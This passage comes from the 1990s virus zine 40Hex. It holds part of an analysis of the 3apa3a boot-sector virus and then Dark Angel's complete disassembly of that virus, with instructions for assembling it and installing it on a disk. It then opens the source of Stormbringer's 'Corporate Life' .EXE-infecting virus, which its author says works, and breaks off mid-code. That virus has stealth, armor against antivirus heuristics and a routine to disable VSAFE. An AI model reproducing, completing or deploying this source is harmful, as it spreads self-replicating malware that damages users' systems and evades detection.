|
|||
|
9F80:0600 9FA0:0400 200h Current floppy boot sector
|
|||
|
----------------------------------------------------------------------
|
|||
|
(*) Code segment CS=9F80 was taken for example. That is a location
|
|||
|
of the virus for normal 640k computer (CS=A000-2k).
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 8. "Window leaf" in the interrupt 13h function of virus.
|
|||
|
Leaf is "closed" at address 00BC and is opened at 00C4.
|
|||
|
|
|||
|
00B4 A10002 MOV AX,[0200] ;may be read and write
|
|||
|
00B7 8A160202 MOV DL,[0202] ;drive # (0/80)
|
|||
|
00BB 2E CS:
|
|||
|
00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf")
|
|||
|
00C1 CD13 INT 13
|
|||
|
00C3 2E CS:
|
|||
|
00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf")
|
|||
|
00C9 7202 JB 00CD
|
|||
|
00CB FC CLD
|
|||
|
00CC C3 RET
|
|||
|
...
|
|||
|
; virus INT_13 handler (usually at 9F80:00D5)
|
|||
|
00D5 50 PUSH AX
|
|||
|
00D6 53 PUSH BX
|
|||
|
00D7 51 PUSH CX
|
|||
|
00D8 52 PUSH DX
|
|||
|
00D9 56 PUSH SI
|
|||
|
00DA 57 PUSH DI
|
|||
|
00DB 1E PUSH DS
|
|||
|
00DC 06 PUSH ES
|
|||
|
00DD 55 PUSH BP
|
|||
|
00DE 8BEC MOV BP,SP
|
|||
|
00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)?
|
|||
|
00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP)
|
|||
|
;here if not HDD
|
|||
|
00E5 02F1 ADD DH,CL
|
|||
|
00E7 02F5 ADD DH,CH
|
|||
|
00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector
|
|||
|
00EC 77E4 JA 00D2 ;exit from handler
|
|||
|
...
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 9. The virus code fragment, which prints the message
|
|||
|
"B BOOT CEKTOPE - 3APA3A! <BELL> <0Dh> <10h>"
|
|||
|
|
|||
|
000F B404 MOV AH,04 ;get CMOS date
|
|||
|
0011 CD1A INT 1A
|
|||
|
0013 80FE08 CMP DH,08 ;August?
|
|||
|
0016 7512 JNZ 002A
|
|||
|
0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message
|
|||
|
001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B'
|
|||
|
001F B91A00 MOV CX,001A ;length
|
|||
|
;
|
|||
|
0022 CD10 INT 10
|
|||
|
0024 2E CS:
|
|||
|
0025 0207 ADD AL,[BX] ;sum all prev. chars in AL
|
|||
|
0027 43 INC BX ;increase pointer
|
|||
|
0028 E2F8 LOOP 0022
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
009A DE220D0005CC2302 ;this table stores values,
|
|||
|
00A2 0609FB01F5DB0DF3 ;which being added to previous char
|
|||
|
00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding)
|
|||
|
00B2 0603 ;last char has an error - 10h instead of LF
|
|||
|
---------------------------------------------------
|
|||
|
; To assemble, simple run TASM and TLINK on this file and generate a binary.
|
|||
|
; The first 512d bytes of the binary will contain the portion of the virus
|
|||
|
; which resides in IO.SYS. The second 512d bytes will contain the boot
|
|||
|
; section portion of the virus.
|
|||
|
|
|||
|
; Installation is slightly more difficult. It requires you to simulate
|
|||
|
; an infection with 3apa3a. Read the text above for information. Basically,
|
|||
|
; you have to fill in the BPB in the boot sector, fill in the patch values,
|
|||
|
; and then move the pieces onto the disk properly.
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
org 0
|
|||
|
; 3apa3a virus
|
|||
|
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
|
|||
|
zero:
|
|||
|
_3apa3a: push cs
|
|||
|
call doffset
|
|||
|
doffset: pop si
|
|||
|
db 83,0EE,4 ; sub si,4
|
|||
|
push si ax bx cx dx ds es
|
|||
|
|
|||
|
mov ah,4 ; get date
|
|||
|
int 1Ah
|
|||
|
|
|||
|
cmp dh,8 ; september?
|
|||
|
jne no_activate
|
|||
|
|
|||
|
lea bx,cs:[si+message-_3apa3a]
|
|||
|
mov ax,0E42 ; begin with B
|
|||
|
mov cx,endmessage - message
|
|||
|
display_loop: int 10 ; print character
|
|||
|
add al,cs:[bx] ; calculate next character
|
|||
|
inc bx
|
|||
|
loop display_loop
|
|||
|
|
|||
|
no_activate: cld
|
|||
|
xor ax,ax ; ds = 0
|
|||
|
mov ds,ax
|
|||
|
push cs ; es = cs
|
|||
|
pop es
|
|||
|
lea di,[si+offset old_i13]
|
|||
|
push si
|
|||
|
mov si,13*4 ; grab old int 13 handler
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
mov ax,ds:413 ; get BIOS memory size
|
|||
|
dec ax ; decrease by 2K
|
|||
|
dec ax
|
|||
|
mov ds:413,ax ; replace the value
|
|||
|
mov cl,6 ; convert to paragraphs
|
|||
|
shl ax,cl
|
|||
|
mov [si-2],ax ; replace interrupt handler
|
|||
|
mov word ptr [si-4],offset i13
|
|||
|
mov es,ax ; move ourselves up
|
|||
|
push cs
|
|||
|
pop ds si
|
|||
|
xor di,di
|
|||
|
mov cx,200
|
|||
|
push si
|
|||
|
rep movsw ; copy now!
|
|||
|
inc ch ; cx = 1
|
|||
|
sub si,200 ; copy rest
|
|||
|
rep movsw
|
|||
|
pop si
|
|||
|
push cs es
|
|||
|
mov ax,offset highentry
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
highentry: mov ax,7C0
|
|||
|
mov ds,ax
|
|||
|
mov word ptr ds:200,201
|
|||
|
mov byte ptr ds:202,80
|
|||
|
les ax,dword ptr cs:203
|
|||
|
mov dx,es
|
|||
|
pop es
|
|||
|
mov bx,si
|
|||
|
mov cx,1
|
|||
|
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
|
|||
|
call work_on_sectors ; do_i13
|
|||
|
pop es ds dx cx bx ax
|
|||
|
retf
|
|||
|
|
|||
|
message: db ' ' - 'B'
|
|||
|
db 'B' - ' '
|
|||
|
db 'O' - 'B'
|
|||
|
db 'O' - 'O'
|
|||
|
db 'T' - 'O'
|
|||
|
db ' ' - 'T'
|
|||
|
db 'C' - ' '
|
|||
|
db 'E' - 'C'
|
|||
|
db 'K' - 'E'
|
|||
|
db 'T' - 'K'
|
|||
|
db 'O' - 'T'
|
|||
|
db 'P' - 'O'
|
|||
|
db 'E' - 'P'
|
|||
|
db ' ' - 'E'
|
|||
|
db '-' - ' '
|
|||
|
db ' ' - '-'
|
|||
|
db '3' - ' '
|
|||
|
db 'A' - '3'
|
|||
|
db 'P' - 'A'
|
|||
|
db 'A' - 'P'
|
|||
|
db '3' - 'A'
|
|||
|
db 'A' - '3'
|
|||
|
db '!' - 'A'
|
|||
|
db 7 - '!'
|
|||
|
db 0Dh - 7
|
|||
|
db 10 - 0Dh
|
|||
|
endmessage:
|
|||
|
|
|||
|
do_i13: mov ax,ds:200
|
|||
|
mov dl,ds:202
|
|||
|
mov byte ptr cs:patch,0EBh ; jmp absolute
|
|||
|
int 13 ; do interrupt
|
|||
|
mov byte ptr cs:patch,75 ; jnz
|
|||
|
jc retry_error
|
|||
|
cld
|
|||
|
retn
|
|||
|
|
|||
|
retry_error: cmp dl,80 ; first hard drive?
|
|||
|
je do_i13 ; if so, retry
|
|||
|
go_exit_i13: jmp exit_i13 ; otherwise quit
|
|||
|
|
|||
|
i13: push ax bx cx dx si di ds es bp
|
|||
|
mov bp,sp
|
|||
|
test dl,80 ; hard drive?
|
|||
|
patch: jnz go_exit_i13
|
|||
|
|
|||
|
add dh,cl ; check if working on
|
|||
|
add dh,ch ; boot sector or
|
|||
|
cmp dh,1 ; partition table
|
|||
|
ja go_exit_i13 ; if not, quit
|
|||
|
|
|||
|
mov ax,cs ; get our current segment
|
|||
|
add ax,20 ; move up 200 bytes
|
|||
|
mov ds,ax
|
|||
|
mov es,ax
|
|||
|
mov word ptr ds:200,201 ; set function to read
|
|||
|
mov ds:202,dl ; set drive to hard drive
|
|||
|
mov bx,400 ; set buffer
|
|||
|
xor dx,dx ; read in the boot sector
|
|||
|
push dx
|
|||
|
mov cx,1
|
|||
|
call do_i13 ; read in boot sector
|
|||
|
|
|||
|
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
|
|||
|
je go_exit_i13
|
|||
|
cmp byte ptr ds:400+18,0
|
|||
|
je go_exit_i13
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,203
|
|||
|
mov si,403
|
|||
|
mov cx,1Bh ; copy disk tables
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
|
|||
|
sub si,200 ; copy the rest
|
|||
|
mov cx,1E2
|
|||
|
rep movsb
|
|||
|
|
|||
|
inc byte ptr ds:201 ; set to write
|
|||
|
mov ax,ds:16 ; get sectors per FAT
|
|||
|
mul byte ptr ds:10 ; multiply by # FATs
|
|||
|
mov bx,ds:11 ; get number of sectors
|
|||
|
mov cl,4 ; occupied by the root
|
|||
|
shr bx,cl ; directory
|
|||
|
db 83,0FBh,5 ; cmp bx,5 ; at least five?
|
|||
|
jbe go_exit_i13 ; if not, quit
|
|||
|
|
|||
|
add ax,bx ;
|
|||
|
add ax,ds:0E ; add # reserved sectors
|
|||
|
dec ax ; drop two sectors to find
|
|||
|
dec ax ; start of last sector
|
|||
|
xor dx,dx ; of root directory
|
|||
|
push ax dx
|
|||
|
call abs_sec_to_BIOS
|
|||
|
mov ds:patch1-200,cx ; move original boot
|
|||
|
mov ds:patch2-200,dh ; sector to the end of the
|
|||
|
xor bx,bx ; root directory
|
|||
|
call do_i13
|
|||
|
pop dx ax
|
|||
|
dec ax
|
|||
|
call abs_sec_to_BIOS
|
|||
|
|
|||
|
mov ds:34,cx ;patch3 ; write io portion to
|
|||
|
mov ds:37,dh ;patch4
|
|||
|
add bh,6 ; bx = 600
|
|||
|
call do_i13
|
|||
|
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov dx,ds:46C ; get timer ticks
|
|||
|
pop ds
|
|||
|
|
|||
|
mov bl,dl ; eight possible instructions
|
|||
|
db 83,0E3,3 ; and bx,3
|
|||
|
push bx
|
|||
|
shl bx,1 ; convert to word index
|
|||
|
mov si,bx
|
|||
|
mov cx,es:[bx+encrypt_table]
|
|||
|
pop bx
|
|||
|
push bx
|
|||
|
mov bh,bl
|
|||
|
shr bl,1 ; bl decides which ptr to use
|
|||
|
lea ax,cs:[bx+2BBE] ; patch pointer
|
|||
|
mov ds:[decrypt-bs_3apa3a],ax ; and start location
|
|||
|
add ch,bl
|
|||
|
mov ds:[encrypt_instr-bs_3apa3a],cx
|
|||
|
add ax,0CF40
|
|||
|
mov ds:[patch_endptr-bs_3apa3a],ax
|
|||
|
pop ax
|
|||
|
push ax
|
|||
|
mul dh
|
|||
|
add al,90 ; encode xchg ax,??
|
|||
|
add bl,46 ; encode inc pointer
|
|||
|
mov ah,bl
|
|||
|
mov ds:[patch_incptr-bs_3apa3a],ax
|
|||
|
mov dx,word ptr cs:[si+decrypt_table]
|
|||
|
mov word ptr cs:decrypt_instr,dx
|
|||
|
pop di
|
|||
|
db 83,0C7 ;add di,XX ; start past decryptor
|
|||
|
dw bs_3apa3a_decrypt - bs_3apa3a
|
|||
|
org $ - 1
|
|||
|
mov si,di
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
|
|||
|
mov ah,al
|
|||
|
encrypt_loop: lodsb
|
|||
|
decrypt_instr: add al,ah
|
|||
|
stosb
|
|||
|
loop encrypt_loop
|
|||
|
|
|||
|
pop dx
|
|||
|
mov cx,1 ; write the replacement
|
|||
|
xor bx,bx ; boot sector to the disk
|
|||
|
call do_i13
|
|||
|
exit_i13: mov sp,bp
|
|||
|
pop bp es ds di si dx cx bx ax
|
|||
|
db 0EAh
|
|||
|
old_i13 dw 0, 0
|
|||
|
|
|||
|
decrypt_table: not al
|
|||
|
sub al,ah
|
|||
|
add al,ah
|
|||
|
xor al,ah
|
|||
|
|
|||
|
encrypt_table dw 014F6 ; not
|
|||
|
dw 0480 ; add
|
|||
|
dw 2C80 ; sub
|
|||
|
dw 3480 ; xor
|
|||
|
; This marks the end of the IO.SYS only portion of 3apa3a
|
|||
|
|
|||
|
; The boot sector portion of 3apa3a follows.
|
|||
|
|
|||
|
adj_ofs = 7C00 + zero - bs_3apa3a
|
|||
|
|
|||
|
bs_3apa3a: jmp short decrypt
|
|||
|
nop
|
|||
|
; The following is an invalid boot sector. Replace it with
|
|||
|
; yours.
|
|||
|
db ' '
|
|||
|
|
|||
|
db 00, 00, 00, 00, 00, 00
|
|||
|
db 00, 00, 00, 00, 00, 00
|
|||
|
db 00, 00, 00, 00, 00, 00
|
|||
|
db 00
|
|||
|
|
|||
|
decrypt: db 0BF ; mov di,
|
|||
|
dw adj_ofs + bs_3apa3a_decrypt
|
|||
|
decrypt_loop: db 2e ; cs:
|
|||
|
encrypt_instr label word
|
|||
|
db 80,2Dh ; sub byte ptr [di],XX
|
|||
|
patch_incptr label word
|
|||
|
db 0 ; temporary value for cryptval
|
|||
|
inc di
|
|||
|
db 81 ; cmp
|
|||
|
patch_endptr label word
|
|||
|
db 0ff ; pointer
|
|||
|
dw adj_ofs + end_crypt
|
|||
|
jne decrypt_loop
|
|||
|
bs_3apa3a_decrypt = $ - 1
|
|||
|
jmp short enter_bs_3apa3a
|
|||
|
nop
|
|||
|
|
|||
|
load_original: xor dx,dx ; set up the read
|
|||
|
mov es,dx ; of the original boot sector
|
|||
|
db 0B9 ; mov cx, XXXX
|
|||
|
patch3 dw 3
|
|||
|
db 0B6
|
|||
|
patch4 db 1
|
|||
|
mov bx,ds ; es:bx = 0:7C00
|
|||
|
mov ax,201
|
|||
|
db 0ebh ; jump to code in stack
|
|||
|
dw bs_3apa3a - 4 - ($ + 1)
|
|||
|
|
|||
|
org $ - 1
|
|||
|
|
|||
|
enter_bs_3apa3a:cli
|
|||
|
xor ax,ax
|
|||
|
mov ss,ax ; set stack to just below us
|
|||
|
mov sp,7C00
|
|||
|
sti
|
|||
|
mov dl,80 ; reset hard drive
|
|||
|
int 13
|
|||
|
|
|||
|
mov ax,2F72 ; encode JNZ load_original at
|
|||
|
; 7BFE
|
|||
|
mov ds,sp ; set segment registers to
|
|||
|
mov es,sp ; 7C00
|
|||
|
push ax
|
|||
|
mov word ptr ds:200,201 ; do a read
|
|||
|
mov ds:202,dl ; from the hard drive
|
|||
|
xor bx,bx ; read to 7C00:0
|
|||
|
mov dh,1 ; read head 1
|
|||
|
mov cx,1 ; read sector 1
|
|||
|
; (assumes active boot
|
|||
|
; sector is here)
|
|||
|
mov ax,13CDh ; encode int 13 at 7BFC
|
|||
|
push ax
|
|||
|
call exec_int13 ; do the read
|
|||
|
mov bx,203
|
|||
|
cmp byte ptr [bx-4],0AA ; is it valid bs?
|
|||
|
jnz_load_original:
|
|||
|
jne load_original ; if not, assume infected and
|
|||
|
; transfer control to it
|
|||
|
mov ax,ds:13 ; get number of sectors in
|
|||
|
dec ax ; image - 1
|
|||
|
cmp ax,5103 ; hard drive too small? (5103h
|
|||
|
jbe load_original ; sectors ~ 10.6 megs)
|
|||
|
mov ax,ds:1C ; get number hidden sectors
|
|||
|
add ax,ds:0E ; add number reserved sectors
|
|||
|
mov ds:9,ax ; store at location that holds
|
|||
|
; the end of OEM signature
|
|||
|
add ax,ds:16 ; add sectors per FAT
|
|||
|
dec ax ; go down two sectors
|
|||
|
dec ax
|
|||
|
push ax
|
|||
|
xor dx,dx
|
|||
|
mov cx,dx
|
|||
|
call work_on_sectors ; load end of FAT to 7C00:203
|
|||
|
mov ax,ds:16 ; get sectors per FAT
|
|||
|
push ax ; save the value
|
|||
|
mul byte ptr ds:10 ; multiply by # FATs
|
|||
|
add ax,ds:9 ; calculate start of root dir
|
|||
|
mov ds:7,ax ; store it in work buffer
|
|||
|
mov cl,4
|
|||
|
mov si,ds:11 ; get number sectors the
|
|||
|
shr si,cl ; root directory takes
|
|||
|
add si,ax ; and calculate start of data
|
|||
|
mov ds:5,si ; area and store it in buffer
|
|||
|
call work_on_sectors ; get first 5 sectors of the
|
|||
|
; root directory
|
|||
|
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
|
|||
|
; entry? (infection marker)
|
|||
|
jne_load_original: ; if so, already infected, so
|
|||
|
jnz jnz_load_original ; quit
|
|||
|
xor si,si
|
|||
|
mov bx,1003
|
|||
|
mov ax,ds:403+1A ; get starting cluster number
|
|||
|
; of IO.SYS
|
|||
|
read_IO_SYS: push ax ; convert cluster to absolute
|
|||
|
call clus_to_abs_sec ; sector number
|
|||
|
call work_on_sector ; read in one cluster of IO.SYS
|
|||
|
inc si
|
|||
|
pop ax
|
|||
|
|
|||
|
push bx ax
|
|||
|
mov bx,403+0A00 ; read into this buffer
|
|||
|
push bx
|
|||
|
mov al,ah ; find the sector with the FAT
|
|||
|
xor dx,dx ; entry corresponding to this
|
|||
|
mov ah,dl ; cluster
|
|||
|
add ax,ds:9
|
|||
|
call work_on_sectors ; read in the FAT
|
|||
|
pop bx ax
|
|||
|
mov ah,dl
|
|||
|
shl ax,1
|
|||
|
mov di,ax
|
|||
|
mov ax,[bx+di] ; grab the FAT entry (either EOF
|
|||
|
; or next cluster number)
|
|||
|
pop bx ; corresponding to this cluster
|
|||
|
cmp ax,0FFF0 ; is there any more to read?
|
|||
|
jb read_IO_SYS ; if so, keep going
|
|||
|
|
|||
|
inc byte ptr ds:201 ; change function to a write
|
|||
|
pop cx
|
|||
|
dec cx
|
|||
|
dec cx
|
|||
|
mov ds:4,cl
|
|||
|
mov di,401 ; scan the end of the FAT
|
|||
|
mov cx,100
|
|||
|
mov bp,-1
|
|||
|
copy_IO_SYS: xor ax,ax ; look for unused clusters
|
|||
|
repne scasw
|
|||
|
jnz jne_load_original
|
|||
|
mov [di+2],bp
|
|||
|
mov bx,cx
|
|||
|
mov bh,ds:4
|
|||
|
mov bp,bx ; save starting cluster of
|
|||
|
push bp cx ; where IO.SYS will be moved
|
|||
|
mov ah,ds:0Dh
|
|||
|
shl ax,1
|
|||
|
dec si
|
|||
|
mul si
|
|||
|
mov bx,ax
|
|||
|
add bx,1003
|
|||
|
mov ax,bp
|
|||
|
call clus_to_abs_sec
|
|||
|
call work_on_sector ; move IO.SYS to end of HD
|
|||
|
pop cx bp
|
|||
|
or si,si
|
|||
|
jnz copy_IO_SYS
|
|||
|
|
|||
|
mov si,0DE1 ; move all but the first two
|
|||
|
mov di,0E01 ; directory entries down one
|
|||
|
mov cx,4D0 ; (10 dir entries / sector,
|
|||
|
rep movsw ; 5 sectors)
|
|||
|
; DF set by exec_int13
|
|||
|
mov si,421 ; move IO.SYS entry down two
|
|||
|
mov cx,10 ; entries
|
|||
|
rep movsw
|
|||
|
|
|||
|
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
|
|||
|
; moved original IO.SYS
|
|||
|
or byte ptr ds:40E,8 ; set volume label bit on first
|
|||
|
; IO.SYS entry
|
|||
|
mov bx,403 ; point to root directory
|
|||
|
mov ax,ds:7 ; get starting cluster of
|
|||
|
xor dx,dx ; root dir
|
|||
|
mov cl,4
|
|||
|
call work_on_sectors ; write updated root directory
|
|||
|
pop ax ; to the disk
|
|||
|
write_FATs: mov bx,203 ; point to the updated FAT
|
|||
|
call work_on_sectors ; write changed end of FAT
|
|||
|
|
|||
|
dec ax
|
|||
|
add ax,ds:16 ; add sectors per FAT
|
|||
|
dec byte ptr ds:10 ; processed all the FATs?
|
|||
|
jnz write_FATs
|
|||
|
|
|||
|
mov ax,bp
|
|||
|
call clus_to_abs_sec
|
|||
|
mov cs:7C03,ax ; store the values
|
|||
|
mov cs:7C05,dx
|
|||
|
mov byte ptr cs:7C01,1Ch
|
|||
|
|
|||
|
xor ax,ax ; reset default drive
|
|||
|
mov dx,ax
|
|||
|
int 13
|
|||
|
|
|||
|
mov ax,201 ; read in original boot sector
|
|||
|
; You must patch the following values if you are installing 3apa3a on a disk
|
|||
|
db 0b9 ; mov cx, XXXX
|
|||
|
patch1 dw 0
|
|||
|
db 0b6 ; mov dh, XX
|
|||
|
patch2 db 0
|
|||
|
mov bx,0E03
|
|||
|
call perform_int13
|
|||
|
|
|||
|
mov ax,ds:403+1A ; get starting cluster number
|
|||
|
call clus_to_abs_sec ; of IO.SYS
|
|||
|
xor cx,cx
|
|||
|
call work_on_sectors
|
|||
|
mov bx,ds
|
|||
|
mov es,cx
|
|||
|
call work_on_sectors
|
|||
|
go_load_original:
|
|||
|
jmp load_original
|
|||
|
|
|||
|
exec_int13: mov ax,ds:200 ; get function from memory
|
|||
|
mov dl,ds:202 ; get drive from memory
|
|||
|
perform_int13: int 13
|
|||
|
jc go_load_original
|
|||
|
std
|
|||
|
retn
|
|||
|
|
|||
|
work_on_sectors:inc cx
|
|||
|
work_on_sector: push cx dx ax
|
|||
|
call abs_sec_to_BIOS
|
|||
|
call exec_int13
|
|||
|
pop ax dx cx
|
|||
|
add ax,1 ; calculate next sector
|
|||
|
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
|
|||
|
add bh,2 ; INC doesn't set carry)
|
|||
|
loop work_on_sector ; do it for the next sector
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
|
|||
|
mov cx,dx
|
|||
|
inc cl
|
|||
|
xor dx,dx
|
|||
|
div word ptr ds:1A ; divide by number of heads
|
|||
|
ror ah,1
|
|||
|
ror ah,1
|
|||
|
xchg ah,al
|
|||
|
add cx,ax
|
|||
|
mov dh,dl
|
|||
|
retn
|
|||
|
|
|||
|
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
|
|||
|
xor ch,ch ; (convert to word)
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
mul cx ; convert cluster number to
|
|||
|
add ax,ds:5 ; absolute sector number
|
|||
|
end_crypt: db 83,0D2,0 ; adc dx,0
|
|||
|
retn
|
|||
|
|
|||
|
dw 0AA55 ; boot signature
|
|||
|
|
|||
|
end _3apa3a
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 008
|
|||
|
|
|||
|
A lot of you saw the letter I posted in alt.comp.virus..... I thought I
|
|||
|
might explain it now that I am sober ;) I did write the letter, and
|
|||
|
a.) I was drunk as hell, and b.) I keep my word and have stopped writing
|
|||
|
viruses. If you didn't read it, well, basically some schmuck (who I found
|
|||
|
out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got
|
|||
|
infected with KeyKapture 2, and wrote me email about it. I was drunk
|
|||
|
when I got it, got real depressed, etc. etc.... Anyway, I don't support
|
|||
|
infecting the public with viruses, especially destructive ones, and never
|
|||
|
have (WTF is the point of doing that anyway?). However, I find viruses one
|
|||
|
of the most interesting and unique program types out there, and really hate
|
|||
|
to see information regarding them censored, as censorship is the weapon of
|
|||
|
men with small minds (at least) and too many fears.
|
|||
|
|
|||
|
Anyway, here is the last virus I wrote before I stopped writing viruses.
|
|||
|
It was never really completed - I was working on a better polymorphic engine
|
|||
|
for it (its current one is tres lame, and was written in about an hour,
|
|||
|
including testing), needed to remove the prefetch tricks (damn pentium chips)
|
|||
|
and some other things, but what the hell.... here's what I had written to that
|
|||
|
point - it works, and has a few neato ideas (all FCB stuff, loads itself into
|
|||
|
the memory of other programs, etc). Try running it with the Soundblaster
|
|||
|
speech drivers loaded if you get really bored.
|
|||
|
|
|||
|
- Stormbringer, Phalcon/Skism, 1995
|
|||
|
|
|||
|
;----------------------- cut here, corplife.asm ---------------------------
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
|||
|
;<3B> Corporate Life (c) 1994 Stormbringer, Phalcon/Skism <20>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> Dreams disipate like fog before the harsh sun - <20>
|
|||
|
;<3B> Every morning, driving to work through the traffic, <20>
|
|||
|
;<3B> A number, a cube, a tie..... <20>
|
|||
|
;<3B> <20>
|
|||
|
;<3B> Don't let your dreams die, mes amis, <20>
|
|||
|
;<3B> Or you will become just another puppet - <20>
|
|||
|
;<3B> Led by the strings of money by an ungrateful master. <20>
|
|||
|
;<3B> <20>
|
|||
|
;<3B> Fuck Corporate Life! <20>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
|||
|
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
|
|||
|
;Moderately Armored.
|
|||
|
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
|
|||
|
;Memory Stealth - becomes a part of the last TSR program in memory.
|
|||
|
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
|
|||
|
; (Only infects DOS .EXE files with no overlays)
|
|||
|
;Critical Error Handler.
|
|||
|
|
|||
|
.model tiny
|
|||
|
.radix 16
|
|||
|
.code
|
|||
|
org 100
|
|||
|
start:
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
db 2dh dup(90)
|
|||
|
EXE_ENTRY:
|
|||
|
jmp short rotateit
|
|||
|
db 09A
|
|||
|
rotateit:
|
|||
|
ror word ptr cs:[HostCS],1
|
|||
|
jmp short EntryArmor
|
|||
|
db 0ea ;simple annoyance for disasm
|
|||
|
;----------------------------
|
|||
|
EntryArmor:
|
|||
|
push word ptr cs:[Armor1]
|
|||
|
mov ax,not(00eah)
|
|||
|
push ax
|
|||
|
mov bp,sp
|
|||
|
not word ptr ss:[bp] ;should lose trace-based
|
|||
|
pop word ptr cs:[Armor1] ;analysis, such as f-prot's
|
|||
|
Armor1: ;heuristics and TBCLEAN
|
|||
|
pop word ptr cs:[Armor1]
|
|||
|
call recursionshit
|
|||
|
;----------------------------
|
|||
|
GetDosVersion:
|
|||
|
mov ax,3001
|
|||
|
int 21
|
|||
|
cmp al,6
|
|||
|
ja BadDos
|
|||
|
cmp al,3
|
|||
|
jb BadDos
|
|||
|
jmp short DosFine
|
|||
|
db 0ea
|
|||
|
BadDos:
|
|||
|
jmp IsActiveInMemory
|
|||
|
db 0ff
|
|||
|
DosFine:
|
|||
|
;----------------------------
|
|||
|
KillVSAFE:
|
|||
|
mov dx,not(0fa01)
|
|||
|
mov ax,not(5945)
|
|||
|
xchg dx,ax
|
|||
|
push cs
|
|||
|
not ax
|
|||
|
not dx
|
|||
|
int 16 ;Kill vsafe... lame friggin' program anyway
|
|||
|
pop ds
|
|||
|
;----------------------------
|
|||
|
CheckIfActive:
|
|||
|
mov ah,09
|
|||
|
mov dx,offset Credits
|
|||
|
int 21
|
|||
|
jnc GetInt21Address
|
|||
|
jmp IsActiveInMemory
|
|||
|
;----------------------------
|
|||
|
GetInt21Address:
|
